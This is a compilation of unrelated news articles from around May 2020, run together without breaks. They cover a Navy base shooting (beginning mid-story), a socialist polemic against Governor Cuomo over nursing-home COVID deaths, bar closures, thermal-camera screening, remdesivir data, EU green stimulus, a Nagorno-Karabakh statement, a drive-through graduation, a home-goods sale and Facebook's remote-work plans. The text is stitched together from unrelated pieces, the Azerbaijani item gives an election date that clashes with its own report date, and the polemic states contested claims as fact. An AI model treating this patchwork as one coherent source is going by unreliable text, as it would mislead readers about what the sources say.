The Navy lifted the lockdown before noon. The main gate was reopened, while the gate where the shooting occurred remained closed.

The F.B.I. is collaborating with the U.S. Justice Department's counterterrorism section and other federal and local officials to investigate all evidence uncovered from the scene as well as the circumstances that led to the event.

The Thursday shooting was the third time a suspect opened fire at a Naval base since December.

In December, a Saudi Air Force officer who was training at a Pensacola Naval facility shot and killed three American sailors and wounded eight others in what investigators deemed a terrorist attack.

A probe found that the gunman, Second Lieutenant Mohammed Saeed Alshamrani, had ties to the Al Qaeda for years. Federal authorities found evidence on the suspect's phone that showed the December attack was planned for years. They found footage of a classroom building and a written final will saved in Alshamrani's phone. The investigators also found a second, badly damaged phone they believe held essential data.

The American military expelled 21 other Saudi students from the training facility despite evidence Alshamrani was operating alone. Some of the former trainees were discovered to have links to extremist movements.

After the December shooting, the U.S. Defense Department banned all American installations from accepting and training international military students. In January, defense officials imposed stricter rules for international military students. Under the new orders, international trainees face restrictions on the use of firearms and access to government facilities. They would also be continuously monitored while they are enrolled in American training programs and facilities.

Read the latest news from the U.S.:
At a press briefing on Sunday, Governor Andrew Cuomo of New York asserted that the COVID-19 deaths of elderly residents of nursing homes in the state were inevitable and the privately owned, for-profit facilities should not be held legally liable.

He falsely claimed that not a single death from COVID-19 in New York state was preventable, and that the state was providing the best possible care and instituting the necessary protective measures in response to the pandemic.

During the briefing, a reporter described two people at the same facility who died a few weeks after being denied coronavirus testing. When the reporter asked what Cuomo would say to their relatives, who are demanding accountability, he said: My response is this, and Im having these conversations all day long with people whove lost someone. We had 139 people yesterday who died in hospitals. How do we get justice for those families of those 139 deaths? Who can we prosecute for those 139 deaths? Nobody. Nobody. Mother Nature, God, where did this virus come from? People are going to die by this virus, that is the truth.

Andrew Cuomo (Zack Seward/Flickr.com)

Cuomo claimed that New York had the best hospital system on the globe, best doctors, best nurses, who responded like heroes  The hospital system wants for nothing  and still people died. Older people, vulnerable people are going to die from this virus. That is going to happen. Despite whatever you do, because with all our progress as a society, we cant keep everyone alive.

These statements reflect a broad consensus in the ruling class that elderly people, since they no longer are productive workers, represent an undesirable expense and are not worth saving.

Cuomos assertion that nobody should be prosecuted for these needless deaths is really an admission that he will prevent such prosecutions. In late March, when the devastating implications of the novel coronavirus outbreak could no longer be ignored, Cuomos aides inserted language into New York states final budget bill that grants nursing homes immunity to lawsuits resulting from their failure to protect residents from the pandemic. Nursing home workers have also been infected and died as a result of unsafe conditions.

The industry had lobbied for this provision, which will allow it to escape accountability for maintaining inadequate staffing and insufficient contamination control at its facilities. This measure is consistent with the pro-corporate orientation of the Cuomo administration and the state legislature.

Senate Republican leaders, backed by the Trump White House, have declared that a bottom line precondition for any federal aid to state and local governments bankrupted by the collapse of tax revenues is the enactment of legal immunity for corporations from suits filed on behalf of workers sickened or killed as a result of inadequate on-the-job protection from the virus. Cuomos actions and words make clear that this call for a legal green light for companies to kill workers is supported by the Democrats.

The best hospital system on the globe and best doctors, best nurses have been denied personal protective equipment (PPE). As a result, at least 71 health care workers have died in New York state alone, including many emergency medical technicians, doctors and nurses, especially at public hospitals in the hardest-hit working-class areas of Brooklyn and Queens. One doctor and one EMT who worked in some of the worst-affected areas tragically committed suicide last month.

Throughout the pandemic, health care workers at hot spots like Elmhurst Hospital in Queens have described desperate conditions more akin to those of a third world country than an advanced industrial economy. One nurse in the Bronx told the World Socialist Web Site that her hospital had run out of IV pumps and that another hospital in Manhattan had run out of oxygen.

The deaths in nursing homes are particularly criminal. While elderly people are certainly more vulnerable to diseases like the coronavirus, it was the ruling classs policy of malign neglect that allowed the virus to ravage nursing homes. Between March 1 and May 1, more than 4,800 people died of confirmed or presumed COVID-19 infection at 351 of New Yorks 613 nursing homes, according to the states data.

Considering the inadequate level of testing, these figures clearly underestimate the true mortality from infection. State officials recently announced more than 1,700 previously undisclosed deaths at nursing homes and adult care facilities. The official toll of 5,601 is believed to be a vast underestimate of the real death toll.

The largest cluster of nursing home deaths in the state has occurred in New York City, an epicenter of the pandemic in the United States. Ninety-eight of the 705 residents of the Isabella Geriatric Center in Manhattan have died. Forty-six of the deceased had tested positive for COVID-19, and 52 are suspected to have had the virus. Because local funeral homes could not pick up bodies quickly enough, the center stored them in a refrigerated truck that it hid under a tarp.

An official at the center admitted that insufficient staffing, inadequate testing and insufficient PPE for employees had contributed to the death toll. The same problems affect nursing homes throughout the state and the entire country.

The state deliberately tried to cover up the disaster unfolding in nursing homes for months. Even though state health officials had been tracking how much hand sanitizer nursing homes had, they did not begin to track deaths related to COVID-19 at these facilities until April 16a full month into the pandemic in the US. This glaring omission was not an oversight, but a conscious calculation that the elderly, since they no longer are productive workers, are not worth protecting. In the meantime, because many nursing homes do not have morgues, residents bodies were left in their rooms.

Cuomo bears direct responsibility for this devastation. In March, the governor ordered that elderly patients be sent back to nursing homes even after they had tested positive for COVID-19. He reversed his decision only after a public outcry.

While the elderly are especially vulnerable, the virus has killed many otherwise healthy people in the prime of their lives. It has caused sudden strokes in people in their 30s and 40s. These strokes result from clotting in the large arteries and can cause serious neurological damage, disability or death. Children, too, have developed a multisystem inflammatory disorder after infection with COVID-19. This emerging condition can lead to heart attack and death. There have been more than 100 cases of this disorder in New York.

New York states high death toll has resulted directly from the federal and state governments belated response to the pandemic, despite repeated warnings by the Chinese government and the World Health Organization.

Cuomo continues to cultivate his tough-guy, take-charge persona to cover up the fact that he took no serious measures to prepare the state for the pandemic, just as President Trump ignored early warnings and downplayed the risk to public health.

It was not until this month that Cuomo ordered nightly shutdowns of the New York City subway and cleaning of the cars. In the meantime, the subway had become a major vector for spreading the virus throughout the city and state, resulting in the deaths of at least 127 transit workers. The schools were not closed in March, when teachers threatened to shut them down. Since then, more than 100 educators and several schoolchildren have died from the virus.

Cuomos statements are lies and testify to his utter indifference toward the tens of thousands of lives that have been lost, to say nothing of those that will be lost in the coming months.

Since the beginning of the pandemic, at least 28,636 people have died in New York Stateonly 4,000 people fewer than in all of Italy, and more than in France and most other countries. His remarks reflect the de facto adoption of the policy of herd immunity that now forms the basis for the reopening of the economy in the US and many other countries. Cuomo is prepared to allow the virus to rampage through the population of New York in the months to come.

Cuomo, no less than Trump, advocates on behalf of Wall Street, which, having received a multitrillion-dollar bailout, demands that workers return to their jobs to continue generating profits. This premature return to work threatens to result in mass death and is fueling opposition in the working class, including at auto factories, Amazon warehouses, garment factories and commercial fruit orchards.
Mission

Sad news for Mission dive bar lovers: Blind Cat (3052 24th St.) and Thieves Tavern (496 14th St.) are closing permanently, owner Paul Bavaro confirms.

Both bars were around 15 years old: Thieves Tavern opened in December 2005 and Blind Cat in February 2006.

Bavaro closed the two bars in March as the city's shelter-in-place order came down. At that point, he said, he was already uncertain about whether they would re-open or not.

This is about to become a financial nightmare in the Bay Area for service industry workers," he told Hoodline at the time.

Before laying off his entire staff, Bavaro paid them all the money he had; his landlord at Thieves Tavern also forgave two months' rent without his even asking, to help him stay afloat.

But paying rent for Blind Cat, on top of vendors and other expenses during the lockdown, has been impossible without an income.

I just dont see how I can battle the next 12 months of rolling closures and capacity restrictions, he said.

Bavaro got his start in San Francisco in the '90s, as a bartender at two now-closed dive bars: North Beach's Crowbar and the Western Addition's Fulton Street (which is now Barrel Head Brewhouse).

In 2004, he opened Whiskey Thieves in the Tenderloin, followed by Thieves Tavern in 2005 and Blind Cat (then known as Dirty Thieves) in 2006. In 2012, he debuted Dear Mom, at 16th and Harrison streets.

Paul Bavaro (center) in the 1990s, where he got his start in bartending at San Francisco's now-closed Crowbar. | Photo: Genea Barnes

But the changing city has been hard on San Francisco's dive bars. Dear Mom closed in 2018, after an unsuccessful revamp as Darger Bar. Whiskey Thieves followed last year, after losing money for three straight years.

"That idea might be done in the city," Bavaro told Hoodline after Whiskey Thieves' closure. "A dive-y bar might not be what people want anymore."

Story continues

Now, Thieves Tavern and Blind Cat have met their end. Bavaro says both bars will be fully vacated by June 1.

"The hardest part is saying goodbye to customers I've been serving for 15 years," he said.

And though he wishes he could have a goodbye party, "there's no better goodbye than the Irish exit  by just sneaking out the back door."
AgHC, Carolina Farm Credit give masks to farm industry workers

AgHC Executive Director Mark Williams hands out masks at a Van Wingerden International greenhouse in Mills River.

MILLS RIVER  The greenhouses at VanWingerden International in Mills River are nearly empty, but its not because business has fallen off.

Right now, were shipping all our ornamental flowers to Lowes and Ingles, said Range Manager James Cantrell. This is one of the few times of year when you can actually see our floors. Getting those shipments prepared and out the door requires that his employees work in close proximity to one another, often in far less space than the CDC-recommended six feet to help prevent exposure to COVID-19.

Cantrell manages about 45 employees in his range." There are about 150 employees total at VWI, a grower and supplier of plants and flowers. For weeks, weve been having trouble getting personal protective equipment (PPE) to protect our employees, he explained. Our growers were having to backorder masks.

But on Thursday, all 150 of the employees at the wholesale greenhouse received reusable face masks from Agribusiness Henderson County, who plans to distribute over 1,000 more to agribusiness workers throughout the county.

We wanted to show support for our ag operations and express the concern we share for the safety and well-being of our farm workers, AgHC Executive Director Mark Williams said as he passed out masks emblazoned with the AgHC logo on them. The U.S. Department of Homeland Security has officially recognized agriculture as a critical industry during the pandemic, but of course we consider our agribusiness workers to be critical no matter what. We depend on this group of hardworking folks and appreciate what they do, so the masks are just a way of letting them know we care about them.

Williams purchased the masks with a $5,000 grant from Carolina Farm Credit, who offers it every year to support organizations that further the future of agriculture in North Carolina. The grant had originally been earmarked to conduct a study on the economic impact of agriculture, but shortly after AgHC received the funds, the pandemic broke out.

It didnt seem appropriate to use the grant for the study during the pandemic and helping our ag operations protect hundreds of workers in the industry who needed PPE was a higher priority, says Williams. He called Mitchel Pridmore, Regional Lending Manager at Carolina Farm Credit (CFC), to see if the grant could be used for the production of masks for farm workers instead.

We thought it was a great idea, Pridmore said. The agricultural industry must continue production to feed our world, and farm employees often have to work close to one another. Using the grant to make and distribute masks filled the critical need of protecting our agriculture workers.

Once the CFC OK'd the idea, Williams turned to local textile manufacturer MWW on Demand, a division of Manual Woodworkers & Weavers, to make the masks. MWW was able to manufacture 1,250 masks in a matter of days, and now Williams is taking them to agriculture workers throughout Henderson County, with members of AgHC being given first priority.

Henderson County will see its peak of farm workers in the next few months with produce season and continue with apples and green industry crops, he said. If we need to get more masks made, well do our best to make that happen.

Were thankful that AgHC has stepped in to help fill the need of PPE, said Cantrell, who adds that VWI also provides all employees with gloves. Having the proper PPE doesnt just protect our workers; it also protects consumers.
Two people were killed and two others injured after the pickup they were riding in landed upside down in the Yaquina River, authorities said.

Oregon State Police said the crash happened after the truck slid down an embankment along Oregon 180 one mile outside of Eddyville, an unincorporated community in Lincoln County. Troopers said they do not know what caused the crash.

The 63-year-old driver, William Coolbaugh, and an 11-year-old boy were pronounced dead by emergency responders, troopers said. Paramedics transported two other passengers, Jacob Roberts, 37, and a 15-year-old boy, to a hospital. Coolbaugh and Roberts both are from Eddyville, Oregon State Police said.

This is the third fatal crash in Lincoln County in eight days.

-- The Oregonian/OregonLive

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(TNS)  As businesses enter Phase 1 of Louisiana Gov. John Bel Edwards reopening plan and residents venture out in larger numbers, some are considering thermographic cameras as one tool to combat the spread of the novel coronavirus . But the technology isnt foolproof.Superintendent Irma Trosclair with the Lafayette Parish School System mentioned the use of thermal imaging cameras at high school graduations on May 13. She said the cameras, combined with assigned seating and social distancing, were some measures the Cajundome plans to implement to make in-person graduation ceremonies safe and feasible.Pam DeVille, Cajundome and Convention Center director, spoke to the Lafayette City Council about the Cajundomes plans Tuesday, noting the venue is working with Acadian Total Security on installation of thermal cameras at entrances as part of its pandemic protocol. She estimated the cameras would cost $75,000 and is seeking financial assistance to cover the costs as events continue to cancel.DeVille said the Cajundome needs to reopen or there will be dire financial consequences for the venue. To do that, people need to feel confident attending events.If theyre afraid to go in the building because they think the person that sneezes next to them is going to give them COVID, theyre never going to come back, she said.Casey White, Cajundome marketing director, said the proposals affordability will play a role in whether its executable, but said the cameras are an attractive option. She noted other venues in the industry are using or considering the technology and the Cajundome is monitoring those efforts.While not perfect, the thermal cameras can offer a sense of comfort and security, she said.Its one extra step that makes people feel comfortable coming here for the time being. We want them to be as comfortable as possible coming into this environment, and if this will help achieve that, its what well try to do, she said.Acadian Total Security is rolling out thermographic imaging services to interested clients across the region to protect customers and employees from COVID-19. The technology claims to scan the face of anyone entering the vicinity and detect elevated skin-surface temperatures. If an above-average temperature is found, an alarm notifies the business owner so further screening can be done, Acadian said in a release Jason Brown, Acadian Total Security sales and marketing director, said at least 100 different companies have reached out to explore the camera options. Before, Acadian mainly sold related technology to chemical companies who needed to monitor thermal readings in plants or similar facilities.Its a huge spike. We have been absolutely slammed with meetings and Ive got commercial sales reps flying across the country and meeting with businesses from hospitals, to senior communities, to schools, government, courthouses. Every avenue that you can think of has reached out in one capacity or another, he said.Acadian carries lines from three thermal camera manufacturers  FLIR Systems, HikVision and BraveWatch  with prices ranging from roughly $7,000 per camera to $70,000, depending if customers want a tripod arrangement or a more sophisticated mounted camera system, he said.Acadian markets their cameras as achieving an accuracy within a range of between .5 and .9 degrees Fahrenheit, depending on the system. The cameras can scan up to 14 people in about one second, a faster contactless method than having someone scan customers at the door with a handheld thermometer, Brown said.Some of the cameras are U.S. Food and Drug Administration approved, while others arent, though the FDA eased guidelines on the use and marketing of thermographic systems for the duration of the pandemic . However, the FDA did say the cameras should be used to measure only one person at a time, among other qualifications, to be used effectively.Customers have discretion to set temperature alarm parameters and control how the data is stored, what data is stored and for what duration, Brown said. Most of the camera systems operate independently of an internet connection and should not be capable of outside data transmission, a security measure Brown said hes assured clients of.There are some caveats about the use of thermal cameras, especially as protection against spreading COVID-19.The technology isnt intended to diagnose illness or prevent the spread of disease. Several thermal camera companies, including FLIR Systems , have released disclaimers that their products arent intended to stop the spread of the novel coronavirus and cant be used to find COVID-19 infected individuals.One reason is that not all novel coronavirus infected patients have a fever. In a study conducted across New York City area hospitals , one of the U.S. cities hit hardest by COVID-19, doctors found that only 30.7% of 5,700 hospitalized patients with COVID-19 had a fever when triaged.Further, not all novel coronavirus patients exhibit symptoms, but asymptomatic carriers are still able to spread the virus, according to the Centers for Disease Control and Prevention. The total number of asymptomatic carriers is undetermined, but CDC Director Robert Redfield told NPR in March the number could be as high as 25% of COVID-19 infected individuals.The American Civil Liberties Union issued a report Tuesday challenging the use of thermal cameras to track fever and prevent novel coronavirus spread. In the report, the group questioned the cameras reported accuracy and raised concerns about the risks to post-pandemic privacy should body temperature surveillance become normalized.The bottom line is that nobody should imagine that blanketing our public spaces with thermal sensors is going to serve as any kind of effective automated COVID detection network, or that this technology is likely to contribute significantly to stemming the spread of the virus, the ACLU report said.Using thermal cameras isnt flawless, Brown said. But its an option that provides businesses some level of oversight and control.Im seeing companies trying their best to keep everyone safe and I applaud the ones that are looking into this and are at least trying to do something to help protect people. Its not foolproof because there are people who can carry it without a temperature, but its a step in the right direction while people try to open their businesses, Brown said.Its also one way to follow reopening guidelines as governments at various levels recommend businesses test employees temperatures during reopening , as well as customers when possible.Brown said Acadian is advising all clients to partner the thermal scanners with secondary screening procedures when someone with an elevated temperature is detected, a recommendation echoed by the FDA. The individual should be pulled aside, have their temperature checked with a thermometer or other device and they should be asked standard novel coronavirus screening questions, he said.Acadian Companies is partnering with interested customers to have EMTs from sister branch Acadian Ambulance on site to perform secondary scans and evaluations. DeVille mentioned theyre looking at the Acadian Ambulance partnership to manage screenings at their events.Camera users should also continue diligent sanitation and other protective measures, Brown said.
By Deena Beasley

May 21 (Reuters) - U.S. doctors and others in the scientific community are calling for the release of data that convinced health regulators to authorize emergency use of Gilead Sciences Inc's antiviral drug remdesivir to treat COVID-19, so they can direct limited supplies on the right patients.

Vanda Pharmaceuticals Inc Chief Executive Mihael Polymeropoulos on Wednesday published an open letter asking for a full download of the trial findings that led to emergency use authorization by the U.S. Food and Drug Administration.

"What if the drug is best suited to people early in the infection cycle? If we give it to people with severe disease - out of natural compassion - we may have wasted the drug," the CEO told Reuters.

He said Vanda, which is developing an anti-inflammatory drug for COVID-19, is looking to "lend our expertise."

The FDA approved emergency use of remdesivir on May 1 based on preliminary results from a National Institute of Allergy and Infectious Diseases (NIAID) trial showing that the drug cut hospital stays by 31%, or about four days, compared with a placebo.

No other details of the 1,063-patient trial have been released. The Institute said by email that a report on the trial will be published in a few weeks. Gilead has not said when.

"We want to direct the drug to those most likely to benefit and least likely to be harmed," Dr. Helen Boucher, chief of infectious diseases at Tufts Medical Center in Boston, told Reuters.

There are no formally approved treatments for COVID-19 - the sometimes deadly illness caused by the novel coronavirus - and remdesivir is the first drug to show benefit in a large placebo-controlled trial.

Hospitals say they are concerned about distribution of limited supplies and are establishing ethical guidelines to ration remdesivir, without having seen the full trial data.

Katherine Perez, a pharmacy specialist in infectious disease at Houston Methodist Hospital, said her institution was prioritizing patients based on the drug trial's enrollment protocol, but needed more data to make better informed treatment decisions.

Gilead's trials close by the end of the month and the NIAID plans to study remdesivir in combination with an anti-inflammatory compound. (Reporting By Deena Beasley, editing by Peter Henderson and Bill Berkrot)
US President Donald Trump announced on Thursday (local time) that American flags on all the federal buildings will be lowered to half-staff over the next three days in memory of the citizens who lost their lives due to coronavirus. "I will be lowering the flags on all Federal Buildings and National Monuments to half-staff over the next three days in memory of the Americans we have lost to the CoronaVirus....," Trump said in a tweet.

According to the latest data from Johns Hopkins University, the number of coronavirus cases in the US has surged to 1,575,064 while the ...
The European Union is set to launch a down payment on a Green New Deal.

As the world slips into a deep economic recession  and some indicators are as bad as the Great Depression  trillions of dollars are flowing in the form of government stimulus. To date, much of that has been aimed at re-inflating the pre-pandemic economy, particularly in the United States. In fact, the Trump administration has been going further, dealing out benefits to oil and gas while slapping fees retroactively on renewable energy.

There has been quite a bit of talk about green stimulus in recent months, and not just from environmental groups. The IMF and the IEA have both said that macroeconomic recovery should be done with the climate change in mind, and green stimulus checks multiple boxes at once. Even top global corporations have said the same. A coalition of 150 companies worth a combined $2.4 trillion recently signed a statement calling on governments to ensure their pandemic response is grounded in bold climate action.

On May 27, the European Commission will unveil details on its Green Deal strategy, which will offer a green economic recovery package while at the same time put some meat on the bones of the EUs aim to reach net zero emissions by 2050.

Specifically, the plan will propose a recovery instrument worth a half-a-trillion euros, according to Bloomberg, which obtained a copy of the draft document. Of that, between 60 and 80 billion euros would be aimed at boosting EV sales and building out EV recharging networks. EVs would be exempted from the VAT. Another 91 billion euros would go to retrofitting existing buildings. 10 billion euros would go to renewable energy projects. Around 30 billion euros would be funneled into technologies to cut emissions in sectors where it has been exceptionally difficult to do so, such as steel and cement.

These sums would dwarf any green stimulus announcements to date and signal that the EU really wants to align its economic recovery strategy with the Green Deal, said Victoria Cuming, head of global policy at BloombergNEF.

Meanwhile, at the national level, Denmark just announced a plan to build two giant energy islands, dubbed the worlds most ambitious offshore wind project, according to the FT. The 37-billion-euro project is a cornerstone of Denmarks plans to cut emissions by 70 percent within the next decade. Even though we are in the middle of an unprecedented health crisis, that doesnt mean that the climate change problem is smaller. We are also in a climate crisis, Denmarks climate minister Dan Jorgensen told the FT.

The new spending measures come as Germany and France have separately reached an agreement on a version of a fiscal union, or at least, the first steps towards building such an outcome. That is, in an effort to hold the EU together, Germany and France have proposed a 500-billion-euro fund that will provide fiscal stimulus to struggling economies on the continent, such as Italy and Spain, both hit hard by the pandemic. The funds would be raised across the Union, but would disproportionately benefit the countries that need it most.

Economists have long argued that some of the eurozones deepest economic problems reflect the fact that the region exists in a monetary union but not a fiscal union. The arrangement creates instability, leaving Europe halfway between merely a free-trade zone and a fully integrated single economy.

But Germany has historically resisted a fiscal union, which would amount to redistributing money from North to South. The political risks have always kept the idea on the drawing board. But the pandemic has changed all of the rules. Related: COVID-19 Is A Hackers Paradise

During past crises, the EUs response has often been more Europe, not less. But Brexit slammed the brakes on the notion of deepening the European project. And the coronavirus has deeply divided the continent, with resentment building in southern Europe, where the economic and public health toll has been most concentrated. The worst recession in nearly a century, and all the political fallout that entails, could yet tear the EU apart.

But thats exactly why Germany may be coming around to the idea of a more redistributive arrangement. It remains to be seen if a few holdouts (Sweden, Austria and the Netherlands, for instance) scuttle the proposal.

It is against this chaotic backdrop that the European Commission will propose its green recovery package. Europe is suffering through health crisis, an economic crisis and a political crisis. A Green Deal by no means is a silver bullet, but it does promise progress on multiple fronts.

By Nick Cunningham of Oilprice.com



More Top Reads From Safehaven.com:
The Chamber of Advocates of Armenia has issued the following statement on the attack on the family of advocate Tigran Atanesyan:

Based on the press releases of online mass media outlets, an attack was made on the apartment of advocate Tigran Atanesyan yesterday at around 4 p.m.

According to the presses, the attack is linked to Tigran Atanesyans advocatorial activities.

The Chamber of Advocates condemns any manifestation of offense, threat and violence linked to the professional activities of an advocate and expects law-enforcement authorities to pay proper attention to this incident and take actions.

President of the Chamber of Advocates of Armenia

Ara Zohrabyan
NEW MILFORD  Seniors will still walk in a cap and gown to get their high school diplomas, but other traditional graduation elements will look much different.

For starters, the graduation processional will now be a mile long and done in cars, giving the community a chance to still honor the 333 students accomplishments on June 20.

Were trying to celebrate while adhering to guidelines, but also celebrate the Class of 2020 so theyll have fond memories, said New Milford High School Principal Greg Shugrue.

The high school began working on alternative graduation plans when the state determined traditional ceremonies of graduates sitting shoulder-to-shoulder wouldnt be safe during the coronavirus pandemic.

Shugrue said they could have done a virtual ceremony, but felt it wasnt enough for this years graduates who have already missed out on a number of senior activities, including prom and an in-person grad night.

To be deprived of that due to unprecedented circumstances is what got to me, he said.

Instead, graduates and their immediate families will gather in their vehicles at Sarah Noble Intermediate School at 10:15 a.m. and then parade to the high school at 11 a.m. along Route 7. Theyll be led by police cars, and the community is encouraged to cheer on the graduates safely from the parking lots, sidewalks and vacant lots that line the road.

Once they get to the high school, graduates will walk the sidewalk to get their diplomas before getting back into their cars. There will be four photo opportunities set up every 20 or 30 yards, and markings will be placed so students can stay at least 6 feet apart from each other.

Graduates and their families are encouraged to decorate their cars. Decorations will be included in a goody bag from the Parent Teacher Organization, which will be given to seniors when they pick up caps and gowns in the beginning of June.

The policy calls for one graduate per car and however many family members can safely fit in the vehicle with each graduate. The ceremony will be livestreamed so the graduates extended families can watch. There will be no spectators aside from those in the car itself.

Each graduates name will be read aloud at the high school, as well as on a FM radio station that will be accessible at the high school. Speeches from Shugrue, the superintendent, and the class president, valedictorian and salutatorian will be prerecorded and posted to a YouTube channel.

Students will also received a video of the event as a keepsake a week or so after the ceremony.

Though the grad party wont happen in person this year, the committee is still honoring the seniors. Tribute banners will be posted on the green all summer and memorabilia photo posters will hang in the cafeteria windows until graduation day, when they will be given to the students.

The committee is creating the sidewalk photo backdrops and is also giving each graduate a gift and a specially designed bandanna to use as a face covering on graduation day. The grad party will still go on, but virtually this year, beginning at 9 p.m.

Shugrue said they came up with the idea of the processional because it met the safety guidelines and still let the community rally around the seniors. One of the driving factors is the students and participants safety. The plan has been signed off by multiple groups, including the town health department.

I think weve provided something thats unique, he said, adding it will give the class of 2020 an unforgettable story.

kkoerting@newstimes.com
By Akbar Mammadov

Azerbaijans Foreign Ministry Spokeswoman Leyla Abdullayeva has said that Armenia is far from the concept of democracy with its policy of aggression and ethnic cleansing of Azerbaijanis, the ministrys press service reported on May 21.

Abdullayeva said that the fact that the Armenian Foreign Ministry called the show about the "inauguration in the occupied territories of Azerbaijan a "democratic process" not only shows the essence of this aggressive country but also manifests how far it is from the concept of democracy.

Commenting on the Armenian FMs statement on so-called "inauguration" organized by Armenia in Shusha following the illegal elections held Nagorno-Karabakh on May 31, Abdullayeva said: Occupying an internationally recognized territory of another state, subjecting its people to ethnic cleansing, and grossly violating human rights is called aggression in modern international legal language, not a democracy.

As for the term "nation" referred to by the Armenian Foreign Ministry, firstly, the Armenians in the Nagorno-Karabakh region of Azerbaijan are not the nation, but the Armenian community living in this region, the spokeswoman said.

Secondly, in order to speak about the principle of self-determination of peoples, the Armenian Foreign Ministry must first learn what this principle means, read the Helsinki Final Act, and then give proper references to these principles, Abdullayeva added.

Abdullayeva stressed that the fact that the occupying country speaks of peace is the ultimate hypocrisy. A peace-loving country will not pursue a policy of aggression, a peace-seeking country will not obstruct the negotiation process, and finally, a peace-loving party will not be a major threat to peace itself, she said.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
These are not just election-year antics. Such tactics have lasting consequences. Democrats supported coups and covert operations across the world in the 1950s and 1960s for fear that they would be labeled soft. They stumbled into Vietnam in large measure because Lyndon B. Johnson did not want to face Republican accusations that he lost a country to communism. The most recent generation of Democrats went along with the Iraq War largely because they did not want to be seen as weak in the War on Terror. In 2002, as Republicans began beating the drums for war with Iraq, Biden joined them. We have no choice but to eliminate the threat, he said on Meet the Press. This is a guy whos an extreme danger to the world.
CLEVELAND, Ohio  The Northern District of Ohios chief judge, in extending the closure of all federal courthouses to most of the public until the end of July because of the coronavirus, said Friday that all employees and visitors must wear face masks when in the buildings.

Chief U.S. District Judge Patricia Gaughans order says that a mask must cover a persons nose and mouth at all times and is required unless a judge or courthouse official says otherwise.

The order applies to courthouses in Cleveland, Akron, Youngstown and Toledo. In Cleveland, that includes the Carl B. Stokes U.S. Court House and the Howard M. Metzenbaum U.S. Courthouse on the west and east sides of Public Square, respectively.

Gaughan also said staff at the courthouses, which she closed in March to most of the public, will only allow inside people with authorized business through July 31. The biggest concern is that allowing operations to fully resume could mean there is not enough space for people to socially distance. If people have to gather in public or common spaces at the courthouses, staff will ensure people physical distance, the judge wrote.

Nearly all court proceedings have been held by video or phone during the pandemic and that will continue, the order states. The moratorium on jury trials will also continue.

However the new order gives judges some discretion to hold in-person hearings or conferences in civil cases, saying they can occur if necessary and with certain restrictions.

Many court employees will continue working from home, going in only when their supervisor asks them to do so.

The exception are grand juries, which Gaughan wrote will proceed if absolutely necessary and with her approval. Grand jurors met in Cleveland this week, issuing their first indictments in two months.

The new order says the court will use a recovery plan to re-open the buildings that will include accommodations for those more at risk of serious illness associated with the virus, those caring for vulnerable people, those who rely on public transportation and those affected by school or daycare closures.

She wrote that jury trials will eventually resume but no earlier than August.
Dont miss sale prices on home goods like premium-quality sheets and super-plush towels during Parachutes popular Memorial Day sale, which runs from Friday (May 22) to Monday (May 25).

Fans love the company for its exceptional versions of everyday essentials, and they monitor markdowns closely because Parachute sales are rare (they only happen twice a year). This one promises 20 percent off everything except furniture, donations, swatches and gift cards. Weve rounded up some of Parachutes bestsellers to help you stock up on cool comfort for your home just in time for summer.

For the bathroom:

Classic Bathrobe, $79.20 (reg. $99)

Classic Starter Bathroom Bundle, $180 (reg.$225)

Classic Tub Mat, $31.20 (reg. $39)

Cloud Cotton Robe, $79.20 (reg. $99)

Hand-Knit Rug, $55.20 (reg. $69)

Quilted Slippers, $31.20 (reg. $39)

Turkish Shower Curtain, $71.20 (reg. $89)

Waffle Towels, $20$102.40 (reg. $25$128)

For the bedroom:

Braided Wool Rug, $231.20$1,039.20 (reg. $289$1,299)

Down Alternative Side Sleeper Pillow, $71.20$79.20 ($89$99)

Down Duvet Insert, $199.20$391.20 (reg. $249$489)

Down Mattress Topper, $319.20 (reg. $399)

Linen Sheet Set, $119.20$151.20 (reg. $149$189)

Percale Duvet Cover, $152 (reg. $190)

Percale Sheet Set, $87.20$119.20 (reg. $109$149)

Quilt,$215.20 (reg. $269)
In 2018, Facebook signed the biggest office lease in San Francisco history at Park Tower, a testament to the social media giants relentless growth, both digital and physical. Late last year, the company signed a New York office deal for twice as much space.

But with offices shuttered across the world by the coronavirus, CEO Mark Zuckerberg said Thursday that up to half of the companys employees, who currently number 48,000, could work remotely within 10 years.

The number isnt a goal, but represents the companys recognition that concentrating employees in one big office, like its Menlo Park headquarters, may not be possible for a long time. Almost all Facebook workers can work from home through the rest of 2020, and the company is letting some employees seek permission to work remotely indefinitely.

Facebook will also start hiring for remote roles, starting with experienced engineers who live within four hours of an existing Facebook office. The company will create office hubs in Denver, Dallas and Atlanta, where real estate costs are a fraction of those in the Bay Area.

The changes, along with smaller companies like Twitter, Square and Coinbase approving remote work for almost all employees, could rewire the Bay Areas vast tech ecosystem, reducing demand for some of the most expensive real estate in the country. It could result in emptier roads and more affordable homes, but also less tax revenue and fewer local job opportunities, not just for engineers but also for auto mechanics, real estate agents, cafeteria workers and shuttle drivers.

I think Facebook will be the most forward-leaning company on remote work at our scale, and weve been working on a thoughtful and responsible plan to do this, Zuckerberg wrote on his Facebook page. It lets us access talent pools outside of traditional tech hubs in big cities  and that should help spread economic opportunity much more widely around the country and world while also helping us build a more diverse company.

Zuckerberg said last year that he expected Facebooks real estate growth to be primarily outside the Bay Area as the region grappled with traffic congestion and high costs. The coronavirus is accelerating that trend.

This is probably overdue. Over the past few decades, economic growth in the U.S. has been quite concentrated, with major companies often hiring in a handful (of) metropolitan areas. That means weve been missing out on a lot of talented people just because they happen to live outside a major hub, he wrote Thursday.

The company still has vast Bay Area real estate expansion plans, such as its Willow Village project, which has been in the works since 2017. This week, Facebook reduced the proposed office space by nearly a third to 1.25 million square feet and increased the affordable housing plan from 15% to 20% of the projects 1,735 homes. A Facebook spokeswoman said the changes were based on community feedback and not because of remote work changes.

According to an internal poll, more than half of Facebook employees want to return to the office as soon as possible, while around 40% are interested in full-time remote work, Zuckerberg said. Of the group that is interested in remote work, 75% said they want to or would consider moving elsewhere.

